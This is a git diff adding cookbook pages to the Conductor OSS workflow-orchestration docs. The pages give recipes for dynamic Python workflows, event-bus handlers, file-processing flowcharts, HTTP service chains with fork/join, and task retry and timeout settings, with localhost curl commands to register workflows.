workflow pattern enables dynamic workflows where the task graph is generated on-the-fly — useful for AI agents, data pipelines, and any scenario where the steps are not known ahead of time. + +{% raw %} +```python +from conductor.client.configuration.configuration import Configuration +from conductor.client.orkes_clients import OrkesClients +from conductor.client.http.models import StartWorkflowRequest + + +config = Configuration() +clients = OrkesClients(configuration=config) +executor = clients.get_workflow_executor() + +# Build the workflow definition dynamically +steps = ['validate', 'enrich', 'store'] # determined at runtime + +tasks = [] +for i, step in enumerate(steps): + tasks.append({ + 'name': step, + 'taskReferenceName': f'{step}_{i}', + 'type': 'SIMPLE', + 'inputParameters': { + 'data': '${workflow.input.data}' if i == 0 else f'${{{steps[i-1]}_{i-1}.output.result}}', + }, + }) + +# Start with inline definition — no pre-registration needed +request = StartWorkflowRequest( + name='dynamic_pipeline', + workflow_def={ + 'name': 'dynamic_pipeline', + 'version': 1, + 'tasks': tasks, + 'outputParameters': { + 'result': f'${{{steps[-1]}_{len(steps)-1}.output.result}}', + }, + }, + input={'data': {'key': 'value'}}, +) + +workflow_id = executor.start_workflow(request) +print(f'Started dynamic workflow: {workflow_id}') +``` +{% endraw %} + +This pattern is powerful for AI agents that generate execution plans at runtime — the LLM produces the list of steps, your code builds the workflow definition, and Conductor executes it with full durability, retries, and observability. + +--- + +### Execute and wait for result + +Run a workflow synchronously and get the result inline — useful for APIs and interactive applications. + +```python +from conductor.client.configuration.configuration import Configuration +from conductor.client.orkes_clients import OrkesClients + +config = Configuration() +clients = OrkesClients(configuration=config) +executor = clients.get_workflow_executor() + +# Execute synchronously — blocks until the workflow completes +run = executor.execute( + name='order_fulfillment', + version=1, + workflow_input={'order_id': 'ORD-789'}, +) + +print(f'Status: {run.status}') +print(f'Output: {run.output}') +print(f'View: {config.ui_host}/execution/{run.workflow_id}') +``` + +--- + +## Setup + +All examples above assume a `WorkflowExecutor` instance. Here is the standard setup: + +```python +from conductor.client.configuration.configuration import Configuration +from conductor.client.orkes_clients import OrkesClients + +config = Configuration() # reads CONDUCTOR_SERVER_URL from env +clients = OrkesClients(configuration=config) +executor = clients.get_workflow_executor() +``` + +```shell +pip install conductor-python +export CONDUCTOR_SERVER_URL=http://localhost:8080/api +``` + +For more Python SDK examples, see the [Python SDK documentation](../../documentation/clientsdks/python-sdk.md) and the [examples on GitHub](https://github.com/conductor-oss/python-sdk/tree/main/examples). diff --git a/docs/devguide/cookbook/event-driven.md b/docs/devguide/cookbook/event-driven.md new file mode 100644 index 0000000..2bad948 --- /dev/null +++ b/docs/devguide/cookbook/event-driven.md @@ -0,0 +1,250 @@ +--- +description: "Conductor cookbook — event-driven workflow recipes for publishing to Kafka, NATS, RabbitMQ, SQS, triggering workflows from events, and completing tasks from external events." +--- + +# Event-driven recipes + +### Publish events to Kafka, NATS, and RabbitMQ + +Use the `EVENT` task type to publish messages. The `sink` field determines the destination. + +**Kafka:** + +```json +{ + "name": "publish_to_kafka", + "taskReferenceName": "kafka_event", + "type": "EVENT", + "sink": "kafka:order-events", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "status": "PROCESSED" + } +} +``` + +**NATS:** + +```json +{ + "name": "publish_to_nats", + "taskReferenceName": "nats_event", + "type": "EVENT", + "sink": "nats:order-events", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "status": "PROCESSED" + } +} +``` + +**RabbitMQ (AMQP):** + +```json +{ + "name": "publish_to_rabbitmq", + "taskReferenceName": "amqp_event", + "type": "EVENT", + "sink": "amqp_exchange:order-events", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "status": "PROCESSED" + } +} +``` + +**Sink format reference:** + +| Sink | Format | +|---|---| +| Kafka | `kafka:topic-name` | +| NATS | `nats:subject-name` | +| RabbitMQ queue | `amqp:queue-name` | +| RabbitMQ exchange | `amqp_exchange:exchange-name` | +| SQS | `sqs:queue-name` | +| Conductor internal | `conductor` | + +--- + +### Listen for events to trigger workflows + +Register event handlers to start workflows automatically when messages arrive on a queue or topic. + +**Kafka event handler:** + +```json +{ + "name": "kafka_order_handler", + "event": "kafka:order-events", + "condition": "$.status == 'NEW'", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "process_order", + "input": { + "orderId": "${orderId}", + "payload": "${$}" + } + } + } + ], + "active": true +} +``` + +**NATS event handler:** + +```json +{ + "name": "nats_notification_handler", + "event": "nats:notifications", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "handle_notification", + "input": { "data": "${$}" } + } + } + ], + "active": true +} +``` + +**AMQP event handler:** + +```json +{ + "name": "amqp_task_handler", + "event": "amqp:task-queue", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "process_task", + "input": { "taskData": "${$}" } + } + } + ], + "active": true +} +``` + +**Register an event handler:** + +```shell +curl -X POST 'http://localhost:8080/api/event' \ + -H 'Content-Type: application/json' \ + -d @handler.json +``` + +--- + +### Complete a task from an external event + +Use a WAIT task to pause a workflow until an external system sends an event. An event handler listens for that event and completes the task, resuming the workflow. + +**Workflow with WAIT task:** + +```json +{ + "name": "order_with_approval", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "process_order", + "taskReferenceName": "process", + "type": "SIMPLE" + }, + { + "name": "wait_for_approval", + "taskReferenceName": "approval_wait", + "type": "WAIT" + }, + { + "name": "ship_order", + "taskReferenceName": "ship", + "type": "SIMPLE" + } + ] +} +``` + +**Event handler to complete the WAIT task:** + +```json +{ + "name": "approval_event_handler", + "event": "kafka:approval-events", + "condition": "$.approved == true", + "actions": [ + { + "action": "complete_task", + "complete_task": { + "workflowId": "${workflowId}", + "taskRefName": "approval_wait", + "output": { + "approvedBy": "${approvedBy}", + "approvedAt": "${timestamp}" + } + } + } + ], + "active": true +} +``` + +When a message with `approved: true` arrives on the `approval-events` Kafka topic, the handler completes the WAIT task and the workflow continues to `ship_order`. + +**Register both:** + +```shell +# Register the workflow +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @order_with_approval.json + +# Register the event handler +curl -X POST 'http://localhost:8080/api/event' \ + -H 'Content-Type: application/json' \ + -d @approval_event_handler.json +``` + +--- + +### Server configuration for event buses + +Add the relevant properties to your `application.properties` to enable each event bus. + +**Kafka:** + +```properties +conductor.event-queues.kafka.enabled=true +conductor.event-queues.kafka.bootstrap-servers=kafka:9092 +``` + +**NATS:** + +```properties +conductor.event-queues.nats.enabled=true +conductor.event-queues.nats.url=nats://localhost:4222 +``` + +**AMQP (RabbitMQ):** + +```properties +conductor.event-queues.amqp.enabled=true +conductor.event-queues.amqp.hosts=rabbitmq +conductor.event-queues.amqp.port=5672 +conductor.event-queues.amqp.username=guest +conductor.event-queues.amqp.password=guest +``` + +**SQS:** + +```properties +conductor.event-queues.sqs.enabled=true +# Uses AWS default credential chain (env vars, IAM role, etc.) +``` diff --git a/docs/devguide/cookbook/files-api-usecase.md b/docs/devguide/cookbook/files-api-usecase.md new file mode 100644 index 0000000..480827b --- /dev/null +++ b/docs/devguide/cookbook/files-api-usecase.md @@ -0,0 +1,314 @@ +# Conductor OSS — File Management Use Cases + +Five real-world scenarios where Conductor orchestrates file creation, processing, and delivery across workflow stages. + +--- + +## 1. Returns & Refund Document Processing + +A customer initiates a product return. Conductor orchestrates the intake of return photos/documents, validates eligibility, generates an RMA (Return Merchandise Authorization) form, and produces the final refund receipt — all as a single traceable workflow. + +### Workflow + +```mermaid +flowchart TD + A["Customer Submits
    Return Request"] --> B["HTTP Task:
    Fetch Order Details"] + B --> C["INLINE Task:
    Validate Return Window"] + C --> D{"SWITCH:
    Eligible?"} + D -- No --> E["Generate Denial
    Letter PDF"] + E --> E1["Email Denial
    to Customer"] + D -- Yes --> F["HUMAN Task:
    Agent Reviews Photos"] + F --> G{"SWITCH:
    Condition Check"} + G -- Damaged --> H["Generate RMA Form
    + Prepaid Shipping Label"] + G -- Wrong Item --> H + G -- Other --> I["HUMAN Task:
    Escalate to Supervisor"] + I --> H + H --> J["FORK"] + J --> K["Branch 1:
    Process Refund via
    Payment Gateway"] + J --> L["Branch 2:
    Generate Refund
    Receipt PDF"] + J --> M["Branch 3:
    Update Inventory
    System"] + K --> N["JOIN"] + L --> N + M --> N + N --> O["Email RMA + Receipt
    + Shipping Label
    to Customer"] + O --> P["Archive All Docs
    to S3"] + + style A fill:#4CAF50,color:#fff + style D fill:#FF9800,color:#fff + style G fill:#FF9800,color:#fff + style J fill:#2196F3,color:#fff + style N fill:#2196F3,color:#fff + style P fill:#9C27B0,color:#fff +``` + +### Files Produced + +| Stage | File | Format | +|-------|------|--------| +| RMA Generation | `rma_RET-9001.pdf` | PDF | +| Shipping Label | `label_RET-9001.png` | 4×6 ZPL/PNG | +| Refund Receipt | `receipt_RET-9001.pdf` | PDF | +| Denial Letter | `denial_RET-9001.pdf` | PDF (if ineligible) | + +### Conductor Primitives + +SWITCH, HUMAN, FORK/JOIN, HTTP, INLINE, SUB_WORKFLOW + +--- + +## 2. AI-Powered Knowledge Base Builder (RAG Pipeline) + +An organization ingests documents (PDFs, Word files, web pages) into an AI-ready knowledge base. Conductor orchestrates crawling, extraction, chunking, embedding generation, and vector store indexing — enabling retrieval-augmented generation (RAG) for chatbots and search. + +### Workflow + +```mermaid +flowchart TD + A["Trigger:
    New Docs Uploaded
    to S3 Bucket"] --> B["DO_WHILE:
    Process Each Document"] + B --> C{"SWITCH:
    File Type?"} + C -- PDF --> D["Extract Text
    via Apache Tika"] + C -- DOCX --> E["Extract Text
    via python-docx"] + C -- HTML --> F["Scrape & Clean
    via BeautifulSoup"] + C -- Other --> G["OCR via
    Tesseract"] + D --> H["INLINE Task:
    Chunk Text
    (512 tokens, 50 overlap)"] + E --> H + F --> H + G --> H + H --> I["DYNAMIC_FORK:
    Generate Embeddings
    (1 per chunk)"] + I --> J["LLM_TEXT_COMPLETE:
    Create Embedding Vector"] + J --> K["JOIN:
    Collect All Vectors"] + K --> L["HTTP Task:
    Upsert to Vector DB
    (Pinecone / Weaviate)"] + L --> M["Generate Metadata
    Index JSON"] + M --> N{"More Docs?"} + N -- Yes --> B + N -- No --> O["Write Master
    Index Manifest"] + O --> P["Upload Manifest
    + Logs to S3"] + + style A fill:#4CAF50,color:#fff + style C fill:#FF9800,color:#fff + style I fill:#2196F3,color:#fff + style K fill:#2196F3,color:#fff + style N fill:#FF9800,color:#fff + style P fill:#9C27B0,color:#fff +``` + +### Files Produced + +| Stage | File | Format | +|-------|------|--------| +| Extracted Text | `extracted_{doc_id}.txt` | Plain text | +| Chunk Manifest | `chunks_{doc_id}.jsonl` | JSONL | +| Embedding Vectors | `embeddings_{doc_id}.npy` | NumPy binary | +| Metadata Index | `index_{doc_id}.json` | JSON | +| Master Manifest | `kb_manifest_{run_id}.json` | JSON | +| Pipeline Log | `pipeline_log_{run_id}.txt` | Text | + +### Conductor Primitives + +DO_WHILE, SWITCH, DYNAMIC_FORK, LLM_TEXT_COMPLETE, HTTP, INLINE + +--- + +## 3. Multi-Format Media Transcoding & Publishing + +A media company uploads a master video file. Conductor fans out transcoding jobs to produce multiple resolutions and formats, generates thumbnails, extracts subtitles via speech-to-text, and publishes everything to a CDN — all in parallel where possible. + +### Workflow + +```mermaid +flowchart TD + A["Master Video
    Uploaded (4K ProRes)"] --> B["INLINE Task:
    Validate & Extract
    Media Metadata"] + B --> C["FORK (3 Branches)"] + + C --> D["Branch 1:
    DYNAMIC_FORK
    Transcode Variants"] + D --> D1["1080p H.264 MP4"] + D --> D2["720p H.264 MP4"] + D --> D3["480p H.264 MP4"] + D --> D4["1080p WebM VP9"] + D --> D5["HLS Adaptive
    Playlist (.m3u8)"] + + C --> E["Branch 2:
    Thumbnail Generation"] + E --> E1["Extract Keyframes
    (every 30s)"] + E1 --> E2["Resize to
    320×180 JPG"] + E2 --> E3["Generate Poster
    Image 1920×1080"] + + C --> F["Branch 3:
    Speech-to-Text"] + F --> F1["LLM_TEXT_COMPLETE:
    Transcribe Audio"] + F1 --> F2["Generate SRT
    Subtitle File"] + F2 --> F3["Generate VTT
    Subtitle File"] + + D1 --> G["JOIN"] + D2 --> G + D3 --> G + D4 --> G + D5 --> G + E3 --> G + F3 --> G + + G --> H["Generate
    Manifest JSON"] + H --> I["HTTP Task:
    Upload All Assets
    to CDN"] + I --> J["HTTP Task:
    Update CMS
    with URLs"] + J --> K["Notify Editorial
    Team via Slack"] + + style A fill:#4CAF50,color:#fff + style C fill:#2196F3,color:#fff + style D fill:#FF5722,color:#fff + style G fill:#2196F3,color:#fff + style K fill:#9C27B0,color:#fff +``` + +### Files Produced + +| Stage | File | Format | +|-------|------|--------| +| Transcoded Videos | `video_{res}.mp4`, `video_1080p.webm` | MP4, WebM | +| HLS Playlist | `stream.m3u8` + segment `.ts` files | HLS | +| Thumbnails | `thumb_{timestamp}.jpg` | JPEG | +| Poster Image | `poster.jpg` | JPEG 1920×1080 | +| Subtitles | `subs_en.srt`, `subs_en.vtt` | SRT, VTT | +| Manifest | `publish_manifest.json` | JSON | + +### Conductor Primitives + +FORK/JOIN, DYNAMIC_FORK, LLM_TEXT_COMPLETE, HTTP, INLINE + +--- + +## 4. Order Invoice, Packing Slip & Shipping Label Generation + +An e-commerce order triggers Conductor to fetch order data, then fan out in parallel to generate three documents — a customer-facing invoice, a warehouse packing slip (no pricing), and a carrier shipping label — before bundling and distributing them. + +### Workflow + +```mermaid +flowchart TD + A["Order Placed
    (Webhook)"] --> B["HTTP Task:
    Fetch Order +
    Customer Profile"] + B --> C["INLINE Task:
    Calculate Totals
    (tax, discounts, shipping)"] + C --> D["FORK (3 Branches)"] + + D --> E["Branch 1:
    Generate Invoice PDF"] + E --> E1["Apply Branding
    (logo, colors, footer)"] + E1 --> E2["Format Line Items
    + Tax Breakdown"] + E2 --> E3["Render PDF
    invoice_ORD-12345.pdf"] + + D --> F["Branch 2:
    Generate Packing Slip"] + F --> F1["Strip Pricing Info"] + F1 --> F2["Add Pick Locations
    + Bin Numbers"] + F2 --> F3["Add Warehouse
    Barcode"] + F3 --> F4["Render PDF
    packslip_ORD-12345.pdf"] + + D --> G["Branch 3:
    Generate Shipping Label"] + G --> G1{"SWITCH:
    Carrier?"} + G1 -- FedEx --> G2["Call FedEx API"] + G1 -- UPS --> G3["Call UPS API"] + G1 -- USPS --> G4["Call USPS API"] + G2 --> G5["Receive Tracking #
    + Label Image"] + G3 --> G5 + G4 --> G5 + G5 --> G6["Render Label
    label_ORD-12345.png"] + + E3 --> H["JOIN"] + F4 --> H + G6 --> H + + H --> I["Bundle 3 Files
    into Order Package"] + I --> J["Upload to S3
    orders/ORD-12345/"] + J --> K["FORK (2 Branches)"] + K --> L["Email Invoice
    to Customer"] + K --> M["Send Slip + Label
    to Warehouse Printer"] + L --> N["JOIN"] + M --> N + N --> O["Update Order Status:
    Ready to Ship"] + + style A fill:#4CAF50,color:#fff + style D fill:#2196F3,color:#fff + style G1 fill:#FF9800,color:#fff + style H fill:#2196F3,color:#fff + style K fill:#2196F3,color:#fff + style N fill:#2196F3,color:#fff + style O fill:#9C27B0,color:#fff +``` + +### Files Produced + +| Stage | File | Format | +|-------|------|--------| +| Invoice | `invoice_ORD-12345.pdf` | PDF | +| Packing Slip | `packslip_ORD-12345.pdf` | PDF | +| Shipping Label | `label_ORD-12345.png` | 4×6 ZPL/PNG | + +### Conductor Primitives + +FORK/JOIN, SWITCH, HTTP, INLINE, SUB_WORKFLOW + +--- + +## 5. Enterprise Video Surveillance Archival & Alert Pipeline + +A network of security cameras streams footage to edge servers. Conductor orchestrates the pipeline: ingest video segments, run AI-based anomaly detection, generate alert clips with annotations, archive raw footage with retention policies, and produce daily summary reports. + +### Workflow + +```mermaid +flowchart TD + A["Camera Feed:
    60s Segment Arrives
    on Edge Server"] --> B["INLINE Task:
    Extract Metadata
    (camera ID, timestamp,
    resolution)"] + B --> C["Upload Raw Segment
    to Cold Storage
    (S3 Glacier)"] + C --> D["HTTP Task:
    AI Anomaly Detection
    Model Inference"] + D --> E{"SWITCH:
    Anomaly Detected?"} + + E -- No --> F["Log: Normal
    Update Daily Counter"] + + E -- Yes --> G["FORK (3 Branches)"] + G --> H["Branch 1:
    Clip 30s Around
    Anomaly Timestamp"] + H --> H1["Overlay Bounding
    Boxes + Labels"] + H1 --> H2["Render Alert Clip
    alert_CAM04_1712345678.mp4"] + + G --> I["Branch 2:
    Generate Alert
    Snapshot"] + I --> I1["Extract Best Frame"] + I1 --> I2["Annotate with
    Detection Metadata"] + I2 --> I3["Save Snapshot
    alert_CAM04_1712345678.jpg"] + + G --> J["Branch 3:
    Create Incident
    Report"] + J --> J1["LLM_TEXT_COMPLETE:
    Summarize Event"] + J1 --> J2["Generate PDF
    incident_1712345678.pdf"] + + H2 --> K["JOIN"] + I3 --> K + J2 --> K + + K --> L["Upload Alert Bundle
    to Hot Storage (S3)"] + L --> M["HTTP Task:
    Push Notification
    to Security Team"] + M --> N["Log Incident
    to SIEM"] + + F --> O["TIMER:
    End of Day?"] + N --> O + O --> P["DO_WHILE:
    Aggregate All
    Camera Logs"] + P --> Q["Generate Daily
    Summary Report PDF"] + Q --> R["Apply Retention
    Policy (90-day
    hot → cold → delete)"] + R --> S["Email Daily Report
    to Facility Manager"] + + style A fill:#4CAF50,color:#fff + style E fill:#FF9800,color:#fff + style G fill:#2196F3,color:#fff + style K fill:#2196F3,color:#fff + style O fill:#FF5722,color:#fff + style S fill:#9C27B0,color:#fff +``` + +### Files Produced + +| Stage | File | Format | +|-------|------|--------| +| Raw Segment | `raw_CAM04_1712345678.mp4` | MP4 (60s) | +| Alert Clip | `alert_CAM04_1712345678.mp4` | MP4 (30s, annotated) | +| Alert Snapshot | `alert_CAM04_1712345678.jpg` | JPEG (annotated) | +| Incident Report | `incident_1712345678.pdf` | PDF | +| Daily Summary | `daily_report_2026-04-08.pdf` | PDF | + +### Conductor Primitives + +FORK/JOIN, SWITCH, DO_WHILE, TIMER, LLM_TEXT_COMPLETE, HTTP, INLINE + +--- + +*Generated for Conductor OSS file management use case exploration.* diff --git a/docs/devguide/cookbook/index.md b/docs/devguide/cookbook/index.md new file mode 100644 index 0000000..01f77b8 --- /dev/null +++ b/docs/devguide/cookbook/index.md @@ -0,0 +1,43 @@ +--- +description: "Conductor cookbook — copy-paste workflow orchestration recipes for microservice orchestration, dynamic parallelism, event-driven patterns, AI agent orchestration, LLM orchestration, workflow automation, and RAG pipelines." +--- + +# Cookbook + +Production-ready workflow recipes. Each recipe includes the complete JSON workflow definition and commands to register and run it. + +
    + +- **[Microservice orchestration](microservice-orchestration.md)** + + HTTP service chains, conditional branching, parallel HTTP calls with Fork/Join. + +- **[Dynamic parallelism](dynamic-parallelism.md)** + + Dynamic forks — different tasks per branch, fan-out with same task, parallel sub-workflows. + +- **[Wait and timer patterns](wait-and-timers.md)** + + Fixed delays, scheduled execution, external signals, and human-in-the-loop approvals. + +- **[Task timeouts and retries](task-timeouts-and-retries.md)** + + Exponential backoff with cap and jitter, lease extension for long-running workers, hard SLA with totalTimeoutSeconds, and thundering herd prevention. + +- **[Scheduled workflows](workflow-scheduling.md)** + + Cron-triggered execution, catchup after downtime, bounded time windows, input parameterization, and concurrent execution handling. + +- **[Event-driven recipes](event-driven.md)** + + Publish to Kafka/NATS/RabbitMQ/SQS, event handlers to trigger workflows, complete tasks from events. + +- **[AI & LLM orchestration recipes](ai-llm.md)** + + Chat completion, RAG pipelines, MCP agents with function calling, image generation, LLM-to-PDF, and provider configuration. + +- **[Dynamic workflows as code](dynamic-workflows.md)** + + Workflow as code in Python — sequential chains, conditional branching, parallel execution, loops, sub-workflows, and runtime-generated definitions. + +
    diff --git a/docs/devguide/cookbook/microservice-orchestration.md b/docs/devguide/cookbook/microservice-orchestration.md new file mode 100644 index 0000000..3528712 --- /dev/null +++ b/docs/devguide/cookbook/microservice-orchestration.md @@ -0,0 +1,256 @@ +--- +description: "Conductor cookbook — microservice orchestration recipes with HTTP service chains, conditional branching, and parallel HTTP calls using Fork/Join." +--- + +# Microservice orchestration + +### HTTP service chain + +A common pattern: call a series of HTTP endpoints where each step uses output from the previous one. No custom workers needed — Conductor handles it with built-in HTTP tasks. + +```json +{ + "name": "order_processing", + "description": "Validate order, charge payment, reserve inventory, send confirmation", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["orderId", "customerId", "amount", "items"], + "tasks": [ + { + "name": "validate_order", + "taskReferenceName": "validate", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/orders/${workflow.input.orderId}/validate", + "method": "POST", + "body": { + "customerId": "${workflow.input.customerId}", + "items": "${workflow.input.items}" + }, + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + }, + { + "name": "charge_payment", + "taskReferenceName": "payment", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/payments/charge", + "method": "POST", + "body": { + "orderId": "${workflow.input.orderId}", + "amount": "${workflow.input.amount}", + "customerId": "${workflow.input.customerId}" + }, + "connectionTimeOut": 10000, + "readTimeOut": 10000 + } + } + }, + { + "name": "reserve_inventory", + "taskReferenceName": "inventory", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/inventory/reserve", + "method": "POST", + "body": { + "orderId": "${workflow.input.orderId}", + "items": "${workflow.input.items}", + "paymentId": "${payment.output.response.body.paymentId}" + }, + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + }, + { + "name": "send_confirmation", + "taskReferenceName": "notify", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/notifications/send", + "method": "POST", + "body": { + "customerId": "${workflow.input.customerId}", + "orderId": "${workflow.input.orderId}", + "paymentId": "${payment.output.response.body.paymentId}", + "reservationId": "${inventory.output.response.body.reservationId}" + } + } + } + } + ], + "outputParameters": { + "paymentId": "${payment.output.response.body.paymentId}", + "reservationId": "${inventory.output.response.body.reservationId}" + }, + "failureWorkflow": "order_compensation", + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 120 +} +``` + +Each task passes data forward using `${taskReferenceName.output.response.body.field}` expressions. If any step fails, Conductor retries it (configurable) and can trigger the `failureWorkflow` for compensation. + +**Register and run:** + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @order_processing.json + +curl -X POST 'http://localhost:8080/api/workflow/order_processing' \ + -H 'Content-Type: application/json' \ + -d '{"orderId": "ORD-123", "customerId": "CUST-456", "amount": 99.99, "items": ["SKU-A", "SKU-B"]}' +``` + +--- + +### HTTP with conditional branching + +Use a SWITCH operator to route workflow execution based on a previous task's output. + +```json +{ + "name": "user_onboarding", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["userId"], + "tasks": [ + { + "name": "get_user_profile", + "taskReferenceName": "profile", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/users/${workflow.input.userId}", + "method": "GET" + } + } + }, + { + "name": "route_by_tier", + "taskReferenceName": "tier_switch", + "type": "SWITCH", + "evaluatorType": "javascript", + "expression": "$.tier == 'enterprise' ? 'enterprise' : 'standard'", + "inputParameters": { + "tier": "${profile.output.response.body.tier}" + }, + "decisionCases": { + "enterprise": [ + { + "name": "assign_account_manager", + "taskReferenceName": "assign_am", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/account-managers/assign", + "method": "POST", + "body": {"userId": "${workflow.input.userId}"} + } + } + } + ], + "standard": [ + { + "name": "send_welcome_email", + "taskReferenceName": "welcome", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/emails/welcome", + "method": "POST", + "body": {"userId": "${workflow.input.userId}"} + } + } + } + ] + } + } + ] +} +``` + +--- + +### Parallel HTTP calls with Fork/Join + +When tasks are independent, run them in parallel with a static fork. + +```json +{ + "name": "enrich_customer_data", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["customerId"], + "tasks": [ + { + "name": "parallel_enrichment", + "taskReferenceName": "fork", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "get_credit_score", + "taskReferenceName": "credit", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/credit/${workflow.input.customerId}", + "method": "GET" + } + } + } + ], + [ + { + "name": "get_purchase_history", + "taskReferenceName": "purchases", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/purchases/${workflow.input.customerId}", + "method": "GET" + } + } + } + ], + [ + { + "name": "get_support_tickets", + "taskReferenceName": "tickets", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/support/${workflow.input.customerId}", + "method": "GET" + } + } + } + ] + ] + }, + { + "name": "join_results", + "taskReferenceName": "join", + "type": "JOIN", + "joinOn": ["credit", "purchases", "tickets"] + } + ], + "outputParameters": { + "creditScore": "${credit.output.response.body}", + "purchases": "${purchases.output.response.body}", + "tickets": "${tickets.output.response.body}" + } +} +``` + +All three HTTP calls execute simultaneously. The JOIN waits for all to complete before the workflow continues. diff --git a/docs/devguide/cookbook/task-timeouts-and-retries.md b/docs/devguide/cookbook/task-timeouts-and-retries.md new file mode 100644 index 0000000..a5f8eee --- /dev/null +++ b/docs/devguide/cookbook/task-timeouts-and-retries.md @@ -0,0 +1,187 @@ +--- +description: "Conductor cookbook — task timeout and retry recipes covering responseTimeout with lease extension, totalTimeoutSeconds, exponential backoff with cap and jitter, and thundering herd prevention." +--- + +# Task timeouts and retries + +Practical recipes for making workers resilient. Each recipe is a complete task definition you can register with `POST /api/metadata/taskdefs`. + +--- + +### Exponential backoff with a cap + +Retries with exponential backoff for a task that calls an external API. The cap prevents the delay from growing indefinitely; jitter prevents multiple failing workers from hammering the API at the same time. + +```json +{ + "name": "call_payment_api", + "ownerEmail": "payments@example.com", + "retryCount": 6, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 2, + "maxRetryDelaySeconds": 60, + "backoffJitterMs": 3000, + "responseTimeoutSeconds": 30, + "timeoutSeconds": 600, + "timeoutPolicy": "RETRY" +} +``` + +**Delay schedule** (`retryDelaySeconds=2`, `maxRetryDelaySeconds=60`, `backoffJitterMs=3000`): + +| Attempt | Base delay | After cap | Actual range | +| :--- | :--- | :--- | :--- | +| 1 | 2s | 2s | 2.0 – 5.0s | +| 2 | 4s | 4s | 4.0 – 7.0s | +| 3 | 8s | 8s | 8.0 – 11.0s | +| 4 | 16s | 16s | 16.0 – 19.0s | +| 5 | 32s | 32s | 32.0 – 35.0s | +| 6 | 64s | **60s** | 60.0 – 63.0s | + +--- + +### Lease extension for long-running workers + +`responseTimeoutSeconds` is the heartbeat window: if the worker doesn't report back within this duration, Conductor marks the task `TIMED_OUT` and retries it. For tasks that take longer than the heartbeat window, workers extend the lease by posting an `IN_PROGRESS` update with `callbackAfterSeconds`. + +**Task definition** + +```json +{ + "name": "transcode_video", + "ownerEmail": "media@example.com", + "retryCount": 2, + "retryLogic": "FIXED", + "retryDelaySeconds": 10, + "responseTimeoutSeconds": 30, + "timeoutSeconds": 3600, + "timeoutPolicy": "RETRY" +} +``` + +`responseTimeoutSeconds: 30` — Conductor will reschedule the task if the worker is silent for 30 seconds. +`timeoutSeconds: 3600` — the task itself can take up to 1 hour across all heartbeats. + +**Worker: extend the lease every 25 seconds** + +```python +import time +from conductor.client.http.models import TaskResult + +def transcode_video(task): + task_id = task.task_id + workflow_id = task.workflow_instance_id + + for chunk in video_chunks(task.input_data["file_url"]): + transcode_chunk(chunk) + + # Extend the lease before responseTimeoutSeconds (30s) expires. + # callbackAfterSeconds tells Conductor to leave this task invisible + # in the queue for another 25s — resetting the response clock. + heartbeat = TaskResult( + task_id=task_id, + workflow_instance_id=workflow_id, + status="IN_PROGRESS", + callback_after_seconds=25, + output_data={"progress": chunk.index / len(video_chunks)} + ) + conductor_client.update_task(heartbeat) + + return TaskResult( + task_id=task_id, + workflow_instance_id=workflow_id, + status="COMPLETED", + output_data={"output_url": upload_result.url} + ) +``` + +**What happens without a heartbeat:** + +``` +t=0s Worker polls task → IN_PROGRESS +t=30s responseTimeoutSeconds expires → TIMED_OUT → retry scheduled +t=40s Worker finishes (too late, task already terminated) +``` + +**What happens with a heartbeat every 25s:** + +``` +t=0s Worker polls task → IN_PROGRESS +t=25s Worker: POST IN_PROGRESS, callbackAfterSeconds=25 → clock resets +t=50s Worker: POST IN_PROGRESS, callbackAfterSeconds=25 → clock resets +... +t=90s Worker: POST COMPLETED → task done +``` + +--- + +### Hard SLA with `totalTimeoutSeconds` + +Use `totalTimeoutSeconds` when you need a guaranteed upper bound on how long a task can take across all of its retries. This is independent of `retryCount` — whichever limit is hit first wins. + +```json +{ + "name": "sync_crm_record", + "ownerEmail": "crm@example.com", + "retryCount": 20, + "retryLogic": "FIXED", + "retryDelaySeconds": 5, + "totalTimeoutSeconds": 120, + "responseTimeoutSeconds": 15, + "timeoutPolicy": "TIME_OUT_WF" +} +``` + +`retryCount: 20` — would normally allow 20 retries. +`totalTimeoutSeconds: 120` — but if the 2-minute wall-clock budget is consumed first, no more retries are queued and the workflow is failed. + +This is useful for SLA-sensitive tasks where you need to know that, regardless of transient failures, the workflow will either succeed or surface as failed within a bounded time window. + +**Timeline example** (`retryDelaySeconds=5`, `totalTimeoutSeconds=30`): + +``` +t=0s Attempt 1 → FAILED +t=5s Attempt 2 → FAILED +t=10s Attempt 3 → FAILED +t=15s Attempt 4 → FAILED +t=20s Attempt 5 → FAILED +t=25s Attempt 6 → FAILED +t=30s totalTimeoutSeconds exceeded → workflow FAILED, no more retries + (10 retries still remained in retryCount) +``` + +--- + +### Thundering herd prevention + +When hundreds of tasks fail simultaneously (e.g., a downstream service goes down), all retries are scheduled at the same time. Without jitter, they all hit the recovering service at once. `backoffJitterMs` spreads them across a time window. + 